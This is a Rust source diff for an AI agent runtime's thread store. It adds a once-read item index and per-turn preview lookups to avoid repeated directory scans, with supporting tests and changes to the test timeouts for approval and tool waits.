/// Publish many items at once, paying the items directory's costs once.
|
||||
@@ -2660,7 +2702,11 @@ impl RuntimeThreadStore {
|
||||
files.push((path, payload.into_bytes()));
|
||||
}
|
||||
crate::utils::write_atomic_batch(&files)
|
||||
.with_context(|| format!("Failed to write {} store items", files.len()))
|
||||
.with_context(|| format!("Failed to write {} store items", files.len()))?;
|
||||
for item in items {
|
||||
self.note_item_in_index(&item.turn_id, &item.id);
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn remove_turn(&self, turn_id: &str) -> Result<()> {
|
||||
@@ -2916,6 +2962,79 @@ impl RuntimeThreadStore {
|
||||
|
||||
let wanted: HashSet<&str> = turn_ids.iter().map(String::as_str).collect();
|
||||
let mut out: HashMap<String, Vec<TurnItemRecord>> = HashMap::new();
|
||||
for (turn_id, item_ids) in self.item_ids_for_turns(&wanted)? {
|
||||
for item_id in item_ids {
|
||||
// An index entry whose file is gone contributes nothing, which
|
||||
// is what the directory walk this replaced reported too.
|
||||
if !self.item_path(&item_id)?.exists() {
|
||||
continue;
|
||||
}
|
||||
let item = self.load_item(&item_id)?;
|
||||
out.entry(turn_id.clone()).or_default().push(item);
|
||||
}
|
||||
}
|
||||
|
||||
for items in out.values_mut() {
|
||||
sort_turn_items_by_start(items);
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
/// The item ids this store holds for each of `turn_ids`, from the one
|
||||
/// items-directory read [`Self::ensure_item_index`] performs.
|
||||
fn item_ids_for_turns(&self, turn_ids: &HashSet<&str>) -> Result<HashMap<String, Vec<String>>> {
|
||||
self.ensure_item_index()?;
|
||||
let index = self.item_index.read();
|
||||
let by_turn = index
|
||||
.by_turn
|
||||
.as_ref()
|
||||
.context("item index must be published before it is read")?;
|
||||
Ok(turn_ids
|
||||
.iter()
|
||||
.filter_map(|turn_id| {
|
||||
by_turn
|
||||
.get(*turn_id)
|
||||
.map(|item_ids| ((*turn_id).to_string(), item_ids.clone()))
|
||||
})
|
||||
.collect())
|
||||
}
|
||||
|
||||
/// Read the items directory once, and never again for this store.
|
||||
///
|
||||
/// An item's filename carries the item id and nothing else, so the only way
|
||||
/// to learn which items a turn has is to read every item record. Both
|
||||
/// callers used to do exactly that per request: [`Self::get_thread_detail`]
|
||||
/// (`GET /v1/threads/{id}`, one walk per thread opened) and the fork
|
||||
/// preparation whose items the transcript rebuild reads. On the store this
|
||||
/// was measured against — 61,441 items, 294MB, 140 threads — one walk costs
|
||||
/// ~1.4s warm and 6.7s cold, and it was the whole of a thread's open time; a
|
||||
/// median thread holds 272 items, so reading the ones it needs is ~7ms.
|
||||
///
|
||||
/// The walk is not parallelizable either, which is why this reads once
|
||||
/// instead of reading harder: sixteen concurrent `cat` streams of the same
|
||||
/// 61k files finished in 3.6s against 2.1s for one, and four in 1.5s. The
|
||||
/// cost is the per-file syscall, not the bytes.
|
||||
///
|
||||
/// The read runs under the seed guard and outside the index guard, so a
|
||||
/// writer never waits for it. A write that lands while the read runs may or
|
||||
/// may not be in the directory snapshot it takes, so the writer records that
|
||||
/// write and the published map drains the records. A write with no read
|
||||
/// running records nothing: its file is already on disk, so the next read
|
||||
/// finds it in the directory itself.
|
||||
fn ensure_item_index(&self) -> Result<()> {
|
||||
if self.item_index.read().by_turn.is_some() {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// One read at a time. A caller that finds the read already running
|
||||
// waits here and then takes the map it produced, rather than reading
|
||||
// the same directory a second time.
|
||||
let _seed = self.item_index_seed.lock();
|
||||
if self.item_index.read().by_turn.is_some() {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let mut by_turn: HashMap<String, Vec<String>> = HashMap::new();
|
||||
let items_dir = checked_existing_runtime_store_dir(&self.items_dir)?;
|
||||
for entry in fs::read_dir(&items_dir)
|
||||
.with_context(|| format!("Failed to read {}", items_dir.display()))?
|
||||
@@ -2929,52 +3048,201 @@ impl RuntimeThreadStore {
|
||||
.file_stem()
|
||||
.map(|stem| stem.to_string_lossy().into_owned())
|
||||
.unwrap_or_default();
|
||||
let raw = read_store_file(&path).with_context(|| {
|
||||
RuntimeStoreRecordFailure::new(
|
||||
RuntimeStoreOperation::Read,
|
||||
RuntimeStoreRecordKind::Item,
|
||||
&item_id,
|
||||
&path,
|
||||
)
|
||||
})?;
|
||||
#[cfg(test)]
|
||||
self.item_dir_files_read
|
||||
.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
|
||||
let item: TurnItemRecord = serde_json::from_str(&raw).with_context(|| {
|
||||
RuntimeStoreRecordFailure::new(
|
||||
RuntimeStoreOperation::Parse,
|
||||
RuntimeStoreRecordKind::Item,
|
||||
&item_id,
|
||||
&path,
|
||||
)
|
||||
})?;
|
||||
if item.schema_version > MAX_SUPPORTED_RUNTIME_SCHEMA_VERSION {
|
||||
bail!(
|
||||
"Item schema v{} is newer than supported v{}",
|
||||
item.schema_version,
|
||||
MAX_SUPPORTED_RUNTIME_SCHEMA_VERSION
|
||||
);
|
||||
let item = self.load_item(&item_id)?;
|
||||
by_turn.entry(item.turn_id).or_default().push(item.id);
|
||||
}
|
||||
|
||||
let mut index = self.item_index.write();
|
||||
for (turn_id, item_id) in std::mem::take(&mut index.pending) {
|
||||
let item_ids = by_turn.entry(turn_id).or_default();
|
||||
if !item_ids.contains(&item_id) {
|
||||
item_ids.push(item_id);
|
||||
}
|
||||
if matches!(
|
||||
item.schema_version,
|
||||
IMAGE_RUNTIME_SCHEMA_VERSION | OUTPUT_LIMIT_RUNTIME_SCHEMA_VERSION
|
||||
) && item.kind == TurnItemKind::UserMessage
|
||||
{
|
||||
item.user_content()?;
|
||||
}
|
||||
index.by_turn = Some(by_turn);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Keep the item index current across an item write.
|
||||
///
|
||||
/// The two writers ([`Self::save_item`] and [`Self::save_items_batch`]) are
|
||||
/// the only paths that can put an item in this store, so this is what makes
|
||||
/// the index exact rather than a snapshot: a reader sees every item the
|
||||
/// directory would have shown it, including the late ones
|
||||
/// [`Self::attach_item_to_turn`] deliberately leaves out of a settled turn's
|
||||
/// `item_ids`.
|
||||
fn note_item_in_index(&self, turn_id: &str, item_id: &str) {
|
||||
// Probing the seed guard says whether a directory read is running, and
|
||||
// the guard is dropped immediately: this call must never wait behind
|
||||
// one. The item this follows is already on disk, so a read that starts
|
||||
// later finds it in the directory; only a read that is *already*
|
||||
// running may have passed the file, and only that case is recorded —
|
||||
// which is what keeps this queue finite in a process that writes items
|
||||
// without ever reading them.
|
||||
let read_in_flight = self.item_index_seed.try_lock().is_none();
|
||||
let mut index = self.item_index.write();
|
||||
if index.by_turn.is_none() {
|
||||
if read_in_flight {
|
||||
index
|
||||
.pending
|
||||
.push((turn_id.to_string(), item_id.to_string()));
|
||||
}
|
||||
if wanted.contains(item.turn_id.as_str()) {
|
||||
out.entry(item.turn_id.clone()).or_default().push(item);
|
||||
return;
|
||||
}
|
||||
// The runtime saves one item id many times (in progress, then
|
||||
// completed or failed), and a write that raced the directory read may
|
||||
// already be in the map from that read. An id is listed once per turn.
|
||||
let item_ids = index
|
||||
.by_turn
|
||||
.as_mut()
|
||||
.expect("checked above")
|
||||
.entry(turn_id.to_string())
|
||||
.or_default();
|
||||
if !item_ids.iter().any(|known| known == item_id) {
|
||||
item_ids.push(item_id.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
/// The newest message text for each row of the thread list, read from the
|
||||
/// thread's own newest turn.
|
||||
///
|
||||
/// A row shows the newest message of the newest turn that has one. That
|
||||
/// used to be answered by [`Self::newest_message_text_by_turn`] over every
|
||||
/// turn of every listed thread, and that call walks the whole items
|
||||
/// directory — an item filename carries only the item id, never its turn.
|
||||
/// A page of 100 threads out of a 140-thread store therefore read all
|
||||
/// 58,048 item records to fill 100 previews: ~1.4s per summary, on every
|
||||
/// summary, measured 2026-09-26 against the 658MB store, which is the
|
||||
/// wait the rail's spinner was covering.
|
||||
///
|
||||
/// A turn record carries its own `item_ids`, so one turn's newest message
|
||||
/// can be read directly, and the walk below stops at the first thread turn
|
||||
/// that yields one. The page measured above resolves all 100 previews from
|
||||
/// 165 item files — it reads the tail of each row's newest turn and
|
||||
/// nothing else.
|
||||
///
|
||||
/// The choice of turn is the one the batch read made: newest first, an
|
||||
/// older turn only when the newer ones hold no message text at all.
|
||||
fn newest_message_text_by_thread(
|
||||
&self,
|
||||
turns_by_thread: &HashMap<String, Vec<TurnRecord>>,
|
||||
) -> Result<HashMap<String, String>> {
|
||||
let mut previews: HashMap<String, String> = HashMap::new();
|
||||
// A turn written before `item_ids` existed cannot be read by id: only a
|
||||
// scan of the items directory can find it. Those turns are collected
|
||||
// so the scan runs once for the page rather than once per turn, and the
|
||||
// thread's walk resumes from the turn it stopped on.
|
||||
let mut legacy_turn_ids: Vec<String> = Vec::new();
|
||||
let mut legacy_stops: Vec<(&str, usize)> = Vec::new();
|
||||
|
||||
for (thread_id, turns) in turns_by_thread {
|
||||
let mut walked = turns.len();
|
||||
while walked > 0 {
|
||||
walked -= 1;
|
||||
let turn = &turns[walked];
|
||||
if turn.item_ids.is_empty() {
|
||||
// This turn and every turn older than it are legacy, and
|
||||
// both need the same directory scan: hand them all over at
|
||||
// once instead of scanning per turn.
|
||||
for turn in &turns[..=walked] {
|
||||
legacy_turn_ids.push(turn.id.clone());
|
||||
}
|
||||
legacy_stops.push((thread_id.as_str(), walked));
|
||||
break;
|
||||
}
|
||||
if let Some(text) = self.newest_message_text_in_turn(turn)? {
|
||||
previews.insert(thread_id.clone(), text);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for items in out.values_mut() {
|
||||
sort_turn_items_by_start(items);
|
||||
if !legacy_turn_ids.is_empty() {
|
||||
let legacy = self.newest_message_text_by_turn(&legacy_turn_ids)?;
|
||||
for (thread_id, walked) in legacy_stops {
|
||||
let turns = &turns_by_thread[thread_id];
|
||||
if let Some(text) = turns[..=walked]
|
||||
.iter()
|
||||
.rev()
|
||||
.find_map(|turn| legacy.get(&turn.id).cloned())
|
||||
{
|
||||
previews.insert(thread_id.to_string(), text);
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(out)
|
||||
|
||||
Ok(previews)
|
||||
}
|
||||
|
||||
/// The newest message text `turn` appended, read from the turn's own item
|
||||
/// list instead of from a scan of the items directory.
|
||||
///
|
||||
/// A turn appends its items in order, so the last message item it wrote is
|
||||
/// the newest message it has: what follows that message is a status,
|
||||
/// reasoning, file-change or tool record, never another message. Walking
|
||||
/// the ids from the tail therefore ends within the handful of files between
|
||||
/// the end of the turn and its last message, where reading the turn whole
|
||||
/// would read every item it ever wrote.
|
||||
///
|
||||
/// Selection agrees with [`Self::newest_message_text_by_turn`] on every
|
||||
/// turn of the 658MB / 58k-item store this was measured against (538 turns,
|
||||
/// 3,537 message items, 2026-09-26): non-message items never win and an
|
||||
/// empty message is skipped rather than reported. The comparison that call
|
||||
/// makes is on `started_at`, and append order is timestamp order because
|
||||
/// the runtime writes each item as its turn produces it — for every source
|
||||
/// of `item_ids`, not only the live one: a fork rebuilds the cloned turn's
|
||||
/// list from items already ordered by [`sort_turn_items_by_start`], and an
|
||||
/// imported conversation pushes its seed items in the order the importer
|
||||
/// stamped them. Where the two orders could disagree is a hand-edited or
|
||||
/// externally written store; there this walk agrees with what
|
||||
/// `RuntimeThreadManager::reconstruct_messages_from_turns_with` would
|
||||
/// replay for the model — `item_ids` order — rather than with `started_at`,
|
||||
/// which is the agreement that matters for a preview.
|
||||
///
|
||||
/// Reading only `turn.item_ids` is complete for messages, not just fast:
|
||||
/// every writer of an `AgentMessage`/`UserMessage` item registers the id on
|
||||
/// its turn at the same time. Streaming turns attach as they go (the turn
|
||||
/// is active, so [`Self::attach_item_to_turn`] appends); `start_turn` and
|
||||
/// `steer_turn` push the user item onto a turn they have just loaded or
|
||||
/// verified in progress; an imported conversation writes the whole list
|
||||
/// before its turn exists. [`Self::attach_item_to_turn`] does leave a
|
||||
/// settled turn's `item_ids` untouched, but the only items that reach a
|
||||
/// settled turn that way are status, tool and error records — kinds this
|
||||
/// walk skips — never messages, so a settled turn cannot hold a late
|
||||
/// message its preview missed.
|
||||
fn newest_message_text_in_turn(&self, turn: &TurnRecord) -> Result<Option<String>> {
|
||||
for item_id in turn.item_ids.iter().rev() {
|
||||
// A turn can name an item whose file was since removed; the
|
||||
// directory walk this replaced never saw such an id, so it must
|
||||
// not fail the whole summary page either.
|
||||
if !self.item_path(item_id)?.exists() {
|
||||
continue;
|
||||
}
|
||||
let item = self.load_item(item_id)?;
|
||||
if !matches!(
|
||||
item.kind,
|
||||
TurnItemKind::AgentMessage | TurnItemKind::UserMessage
|
||||
) {
|
||||
continue;
|
||||
}
|
||||
let text = item.detail.unwrap_or(item.summary);
|
||||
if text.trim().is_empty() {
|
||||
continue;
|
||||
}
|
||||
return Ok(Some(text));
|
||||
}
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// The newest agent/user message text in each requested turn, in one pass.
|
||||
///
|
||||
/// This is the directory-scan fallback: the thread summary reads previews
|
||||
/// through [`Self::newest_message_text_by_thread`], and reaches this call
|
||||
/// only for turns whose record predates `item_ids`.
|
||||
///
|
||||
/// [`Self::list_items_for_turns_map`] materializes every item of every
|
||||
/// requested turn. The thread summary needs only the last user/agent
|
||||
/// message per turn, and one page can span most of the store, so retaining
|
||||
@@ -5259,6 +5527,12 @@ pub struct RuntimeThreadManager {
|
||||
#[cfg(test)]
|
||||
test_model_client:
|
||||
Arc<parking_lot::Mutex<Option<crate::core::model_client::SharedModelClient>>>,
|
||||
/// Test seams for the external approval and dynamic tool waits; `0`
|
||||
/// keeps the production behavior.
|
||||
#[cfg(test)]
|
||||
test_approval_decision_timeout_ms: Arc<std::sync::atomic::AtomicU64>,
|
||||
#[cfg(test)]
|
||||
test_dynamic_tool_result_timeout_ms: Arc<std::sync::atomic::AtomicU64>,
|
||||
}
|
||||
|
||||
impl RuntimeStoreBinding {
|
||||
@@ -6263,6 +6537,10 @@ impl RuntimeThreadManager {
|
||||
replay_test_hook: Arc::new(parking_lot::Mutex::new(None)),
|
||||
#[cfg(test)]
|
||||
test_model_client: Arc::new(parking_lot::Mutex::new(None)),
|
||||
#[cfg(test)]
|
||||
test_approval_decision_timeout_ms: Arc::new(std::sync::atomic::AtomicU64::new(0)),
|
||||
#[cfg(test)]
|
||||
test_dynamic_tool_result_timeout_ms: Arc::new(std::sync::atomic::AtomicU64::new(0)),
|
||||
};
|
||||
manager.recover_interrupted_state()?;
|
||||
Ok(manager)
|
||||
@@ -8758,6 +9036,19 @@ impl RuntimeThreadManager {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Read the store's item index ahead of the read that needs it.
|
||||
///
|
||||
/// Opening a thread is the first thing every client asks for and the last
|
||||
/// thing the store can answer cheaply: a reader has to learn which items
|
||||
/// each turn owns, and nothing but a pass over the whole items directory can
|
||||
/// tell it, because an item's filename carries the item id and not its turn.
|
||||
/// That pass is the same one every open used to pay. Paid here, while the
|
||||
/// Runtime API is starting and no client is waiting, it is paid once
|
||||
/// instead. See [`RuntimeThreadStore::ensure_item_index`].
|
||||
pub(crate) fn warm_item_index(&self) -> Result<()> {
|
||||
self.store.ensure_item_index()
|
||||
}
|
||||
|
||||
/// The [`ThreadListFacts`] for every id in `thread_ids`, read in one pass.
|
||||
///
|
||||
/// `GET /v1/threads/summary` used to call [`Self::get_thread_detail`] once
|
||||
@@ -8788,7 +9079,7 @@ impl RuntimeThreadManager {
|
||||
|
||||
let store = self.store.clone();
|
||||
let scanned = wanted.clone();
|
||||
let (turns_by_thread, preview_by_turn) = tokio::task::spawn_blocking(move || {
|
||||
let (turns_by_thread, preview_by_thread) = tokio::task::spawn_blocking(move || {
|
||||
// One turns scan, grouped by thread. `list_all_turns` sorts by
|
||||
// `created_at`, so each group keeps ascending turn order and a
|
||||
// group's last element is the newest turn — the same turn a
|
||||
@@ -8802,15 +9093,11 @@ impl RuntimeThreadManager {
|
||||
.push(turn);
|
||||
}
|
||||
}
|
||||
// One items scan covering every turn of those threads, keeping
|
||||
// only the message text that could be a row's preview.
|
||||
let turn_ids: Vec<String> = turns_by_thread
|
||||
.values()
|
||||
.flatten()
|
||||
.map(|turn| turn.id.clone())
|
||||
.collect();
|
||||
let preview_by_turn = store.newest_message_text_by_turn(&turn_ids)?;
|
||||
Ok::<_, anyhow::Error>((turns_by_thread, preview_by_turn))
|
||||
// The preview is read from each row's own newest turn, not from a
|
||||
// page-wide scan of every item record: see
|
||||
// `newest_message_text_by_thread` for what that cost and why.
|
||||
let preview_by_thread = store.newest_message_text_by_thread(&turns_by_thread)?;
|
||||
Ok::<_, anyhow::Error>((turns_by_thread, preview_by_thread))
|
||||
})
|
||||
.await
|
||||
.context("Runtime thread list scan task failed")??;
|
||||
@@ -8819,14 +9106,10 @@ impl RuntimeThreadManager {
|
||||
for thread_id in &wanted {
|
||||
let turns = turns_by_thread.get(thread_id);
|
||||
let latest_turn = turns.and_then(|turns| turns.last());
|
||||
// Newest turn first: the scan already picked the newest message
|
||||
// within each turn, so the first turn holding one is the message a
|
||||
// per-thread detail read would have found.
|
||||
let preview = turns
|
||||
.into_iter()
|
||||
.flatten()
|
||||
.rev()
|
||||
.find_map(|turn| preview_by_turn.get(&turn.id).cloned());
|
||||
// Newest turn first, resolved by the walk inside
|
||||
// `newest_message_text_by_thread`: the first turn holding a message
|
||||
// is the message a per-thread detail read would have found.
|
||||
let preview = preview_by_thread.get(thread_id).cloned();
|
||||
let (pending_approvals, pending_user_inputs) =
|
||||
self.pending_requests_for_thread(thread_id);
|
||||
facts.insert(
|
||||
@@ -16338,7 +16621,7 @@ impl crate::tools::spec::DynamicToolExecutor for RuntimeThreadManager {
|
||||
}
|
||||
drop(projection);
|
||||
|
||||
let result_timeout = dynamic_tool_result_timeout();
|
||||
let result_timeout = self.dynamic_tool_result_timeout();
|
||||
match tokio::time::timeout(result_timeout, &mut rx).await {
|
||||
Ok(Ok(result)) => Ok(dynamic_tool_result_to_tool_result(result)),
|
||||
Ok(Err(_recv_err)) => Err(crate::tools::spec::ToolError::execution_failed(format!(
|
||||
|
||||
@@ -2391,52 +2391,6 @@ fn test_manager(data_dir: PathBuf) -> Result<RuntimeThreadManager> {
|
||||
)
|
||||
}
|
||||
|
||||
/// Serializes tests that set or read the process-wide approval-timeout
|
||||
/// override, so a parallel test never sees another test's value.
|
||||
static APPROVAL_TIMEOUT_OVERRIDE_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
|
||||
|
||||
fn lock_approval_timeout_override() -> std::sync::MutexGuard<'static, ()> {
|
||||
APPROVAL_TIMEOUT_OVERRIDE_LOCK
|
||||
.lock()
|
||||
.unwrap_or_else(std::sync::PoisonError::into_inner)
|
||||
}
|
||||
|
||||
struct ApprovalTimeoutGuard {
|
||||
previous_ms: u64,
|
||||
// Dropped after `drop` restores the previous value.
|
||||
_lock: std::sync::MutexGuard<'static, ()>,
|
||||
}
|
||||
|
||||
impl Drop for ApprovalTimeoutGuard {
|
||||
fn drop(&mut self) {
|
||||
set_test_approval_decision_timeout_ms(self.previous_ms);
|
||||
}
|
||||
}
|
||||
|
||||
fn test_approval_timeout_ms(ms: u64) -> ApprovalTimeoutGuard {
|
||||
let lock = lock_approval_timeout_override();
|
||||
ApprovalTimeoutGuard {
|
||||
previous_ms: set_test_approval_decision_timeout_ms(ms),
|
||||
_lock: lock,
|
||||
}
|
||||
}
|
||||
|
||||
struct DynamicToolTimeoutGuard {
|
||||
previous_ms: u64,
|
||||
}
|
||||
|
||||
impl Drop for DynamicToolTimeoutGuard {
|
||||
fn drop(&mut self) {
|
||||
set_test_dynamic_tool_result_timeout_ms(self.previous_ms);
|
||||
}
|
||||
}
|
||||
|
||||
fn test_dynamic_tool_timeout_ms(ms: u64) -> DynamicToolTimeoutGuard {
|
||||
DynamicToolTimeoutGuard {
|
||||
previous_ms: set_test_dynamic_tool_result_timeout_ms(ms),
|
||||
}
|
||||
}
|
||||
|
||||
struct EventAppendFaultGuard {
|
||||
restore: Option<EventAppendTestFaultRestore>,
|
||||
}
|
||||
@@ -12099,6 +12053,12 @@ async fn approval_required_with_stale_active_turn_is_denied() -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Readiness ceiling for an approval to be persisted, registered, or resolved.
|
||||
/// Every wait under it ends as soon as its condition holds, so it only bounds
|
||||
/// how long a stuck case takes to fail; a loaded shared-process `cargo test`
|
||||
/// run overran the earlier 2s ceiling (#6698).
|
||||
const APPROVAL_READINESS_TIMEOUT: Duration = Duration::from_secs(10);
|
||||
|
||||
/// Reads the approval identity exactly as an external client does: off the
|
||||
/// `approval.required` event for `raw_call_id`, returning the opaque ID that
|
||||
/// client must echo back. Also pins the two properties every caller below
|
||||
@@ -12109,7 +12069,7 @@ async fn await_approval_identity(
|
||||
thread_id: &str,
|
||||
raw_call_id: &str,
|
||||
) -> Result<String> {
|
||||
let deadline = Instant::now() + Duration::from_secs(2);
|
||||
let deadline = Instant::now() + APPROVAL_READINESS_TIMEOUT;
|
||||
loop {
|
||||
let found = manager
|
||||
.events_since(thread_id, None)?
|
||||
@@ -12202,7 +12162,7 @@ async fn approval_required_awaits_external_decision_allow() -> Result<()> {
|
||||
})
|
||||
.await?;
|
||||
|
||||
let deadline = Instant::now() + Duration::from_secs(2);
|
||||
let deadline = Instant::now() + APPROVAL_READINESS_TIMEOUT;
|
||||
while Instant::now() < deadline && manager.pending_approvals_count() == 0 {
|
||||
sleep(Duration::from_millis(20)).await;
|
||||
}
|
||||
@@ -14455,8 +14415,8 @@ fn pending_dynamic_tool_registry_rejects_duplicates_and_is_bounded() -> Result<(
|
||||
async fn dynamic_tool_timeout_clears_snapshot_and_emits_once() -> Result<()> {
|
||||
use crate::tools::spec::{DynamicToolExecutor, ToolError};
|
||||
|
||||
let _timeout_guard = test_dynamic_tool_timeout_ms(25);
|
||||
let manager = test_manager(test_runtime_dir())?;
|
||||
manager.set_test_dynamic_tool_result_timeout_ms(25);
|
||||
let thread = manager
|
||||
.create_thread(CreateThreadRequest::default())
|
||||
.await?;
|
||||
@@ -14637,9 +14597,6 @@ async fn terminal_turn_cancels_pending_dynamic_tool_exactly_once() -> Result<()>
|
||||
/// reads as a live claim that the (already answered) call is still waiting.
|
||||
#[tokio::test]
|
||||
async fn approval_wait_heartbeat_is_never_sequenced_after_the_decision() -> Result<()> {
|
||||
// The timeout test changes a process-wide override to 25 ms. This case
|
||||
// checks heartbeat ordering while a decision is still pending.
|
||||
let _timeout_guard = test_approval_timeout_ms(0);
|
||||
let manager = test_manager(test_runtime_dir())?;
|
||||
let thread = manager
|
||||
.create_thread(CreateThreadRequest::default())
|
||||
@@ -14795,7 +14752,7 @@ async fn approval_required_external_deny_is_denied() -> Result<()> {
|
||||
})
|
||||
.await?;
|
||||
|
||||
let deadline = Instant::now() + Duration::from_secs(2);
|
||||
let deadline = Instant::now() + APPROVAL_READINESS_TIMEOUT;
|
||||
while Instant::now() < deadline && manager.pending_approvals_count() == 0 {
|
||||
sleep(Duration::from_millis(20)).await;
|
||||
}
|
||||
@@ -15226,8 +15183,8 @@ async fn approval_interrupt_revokes_waiter_and_rejects_late_actions() -> Result<
|
||||
|
||||
#[tokio::test]
|
||||
async fn approval_timeout_denies_clears_ui_and_next_turn_can_start() -> Result<()> {
|
||||
let _timeout_guard = test_approval_timeout_ms(25);
|
||||
let manager = test_manager(test_runtime_dir())?;
|
||||
manager.set_test_approval_decision_timeout_ms(25);
|
||||
let thread = manager
|
||||
.create_thread(CreateThreadRequest {
|
||||
model: None,
|
||||
@@ -15278,7 +15235,7 @@ async fn approval_timeout_denies_clears_ui_and_next_turn_can_start() -> Result<(
|
||||
})
|
||||
.await?;
|
||||
|
||||
let decision = tokio::time::timeout(Duration::from_secs(2), harness.recv_approval_event())
|
||||
let decision = tokio::time::timeout(APPROVAL_READINESS_TIMEOUT, harness.recv_approval_event())
|
||||
.await
|
||||
.context("approval timeout should resolve the engine's wait")?;
|
||||
// The engine hears a timeout, not the user's denial, so the model and the
|
||||
@@ -19485,6 +19442,480 @@ fn newest_message_text_by_turn_picks_the_latest_message_ignoring_non_messages()
|
||||
let _ = std::fs::remove_dir_all(dir);
|
||||
}
|
||||
|
||||
/// The thread rail's preview is read from each row's own newest turn.
|
||||
///
|
||||
/// The batch read this replaced walked the whole items directory to answer the
|
||||
/// same question, which on a 658MB / 58k-item store cost ~1.4s on every
|
||||
/// summary. The row still has to carry the newest message the turn appended —
|
||||
/// not the first one it wrote, and not a trailing status or tool record.
|
||||
#[tokio::test]
|
||||
async fn thread_list_facts_reads_each_preview_from_its_own_turn() -> Result<()> {
|
||||
let dir = test_runtime_dir();
|
||||
let manager = test_manager(dir.clone())?;
|
||||
let thread = manager
|
||||
.create_thread(CreateThreadRequest {
|
||||
workspace: Some(dir.clone()),
|
||||
..CreateThreadRequest::default()
|
||||
})
|
||||
.await?;
|
||||
|
||||
let message = |turn_id: &str, item_id: &str, kind: TurnItemKind, text: &str| {
|
||||
let mut item = sample_item(turn_id, item_id, TurnItemLifecycleStatus::Completed);
|
||||
item.kind = kind;
|
||||
item.summary = text.to_string();
|
||||
item.detail = Some(text.to_string());
|
||||
item
|
||||
};
|
||||
|
||||
let older_at = Utc::now() - chrono::Duration::seconds(60);
|
||||
let mut older = sample_turn(&thread.id, "trn_older", RuntimeTurnStatus::Completed);
|
||||
older.created_at = older_at;
|
||||
older.started_at = Some(older_at);
|
||||
let newer_at = Utc::now();
|
||||
let mut newer = sample_turn(&thread.id, "trn_newer", RuntimeTurnStatus::Completed);
|
||||
newer.created_at = newer_at;
|
||||
newer.started_at = Some(newer_at);
|
||||
|
||||
// The older turn's reply must not win, and the newer turn's own prompt has
|
||||
// to lose to its reply: both are earlier in the turn's append order.
|
||||
let older_items = [
|
||||
message(
|
||||
"trn_older",
|
||||
"itm_older_prompt",
|
||||
TurnItemKind::UserMessage,
|
||||
"older prompt",
|
||||
),
|
||||
message(
|
||||
"trn_older",
|
||||
"itm_older_reply",
|
||||
TurnItemKind::AgentMessage,
|
||||
"older reply",
|
||||
),
|
||||
];
|
||||
let mut newer_items = [
|
||||
message(
|
||||
"trn_newer",
|
||||
"itm_newer_prompt",
|
||||
TurnItemKind::UserMessage,
|
||||
"newest prompt",
|
||||
),
|
||||
message(
|
||||
"trn_newer",
|
||||
"itm_newer_reply",
|
||||
TurnItemKind::AgentMessage,
|
||||
"newest reply",
|
||||
),
|
||||
// A trailing blank message and a trailing non-message both have to be
|
||||
// stepped over: the walk ends on the reply above, not on either of
|
||||
// these, and not on the three records after them.
|
||||
message(
|
||||
"trn_newer",
|
||||
"itm_newer_blank",
|
||||
TurnItemKind::AgentMessage,
|
||||
" ",
|
||||
),
|
||||
sample_item(
|
||||
"trn_newer",
|
||||
"itm_newer_tool",
|
||||
TurnItemLifecycleStatus::Completed,
|
||||
),
|
||||
sample_item(
|
||||
"trn_newer",
|
||||
"itm_newer_status",
|
||||
TurnItemLifecycleStatus::Completed,
|
||||
),
|
||||
];
|
||||
newer_items.iter_mut().for_each(|item| {
|
||||
item.started_at = Some(newer_at);
|
||||
});
|
||||
older.item_ids = older_items.iter().map(|item| item.id.clone()).collect();
|
||||
newer.item_ids = newer_items.iter().map(|item| item.id.clone()).collect();
|
||||
|
||||
for item in older_items.iter().chain(newer_items.iter()) {
|
||||
manager.store.save_item(item)?;
|
||||
}
|
||||
manager.store.save_turn(&older)?;
|
||||
manager.store.save_turn(&newer)?;
|
||||
|
||||
// A second thread whose items the walk must never need. If the rail went
|
||||
// back to scanning the items directory, the read count below would cover
|
||||
// these too.
|
||||
let decoy = manager
|
||||
.create_thread(CreateThreadRequest::default())
|
||||
.await?;
|
||||
let mut decoy_turn = sample_turn(&decoy.id, "trn_decoy", RuntimeTurnStatus::Completed);
|
||||
decoy_turn.item_ids = vec!["itm_decoy".to_string()];
|
||||
manager.store.save_item(&message(
|
||||
"trn_decoy",
|
||||
"itm_decoy",
|
||||
TurnItemKind::AgentMessage,
|
||||
"decoy reply",
|
||||
))?;
|
||||
manager.store.save_turn(&decoy_turn)?;
|
||||
|
||||
manager.reset_whole_store_scan_file_reads();
|
||||
let facts = manager
|
||||
.thread_list_facts(std::slice::from_ref(&thread.id))
|
||||
.await?;
|
||||
let (turn_reads, item_reads) = manager.whole_store_scan_file_reads();
|
||||
|
||||
assert_eq!(
|
||||
item_reads, 0,
|
||||
"a thread list must not walk the items directory to fill a preview"
|
||||
);
|
||||
assert!(
|
||||
turn_reads >= 2,
|
||||
"every turn record is still read: {turn_reads}"
|
||||
);
|
||||
assert_eq!(
|
||||
facts[&thread.id].preview.as_deref(),
|
||||
Some("newest reply"),
|
||||
"expected the last message the newest turn appended"
|
||||
);
|
||||
|
||||
let _ = std::fs::remove_dir_all(dir);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// A newest turn that holds no message at all falls back to an older turn,
|
||||
/// exactly as the batch read did: the row would otherwise lose its preview.
|
||||
#[tokio::test]
|
||||
async fn thread_list_facts_falls_back_to_an_older_turn_for_a_preview() -> Result<()> {
|
||||
let dir = test_runtime_dir();
|
||||
let manager = test_manager(dir.clone())?;
|
||||
let thread = manager
|
||||
.create_thread(CreateThreadRequest {
|
||||
workspace: Some(dir.clone()),
|
||||
..CreateThreadRequest::default()
|
||||
})
|
||||
.await?;
|
||||
|
||||
let older_at = Utc::now() - chrono::Duration::seconds(60);
|
||||
let mut older = sample_turn(&thread.id, "trn_older", RuntimeTurnStatus::Completed);
|
||||
older.created_at = older_at;
|
||||
older.started_at = Some(older_at);
|
||||
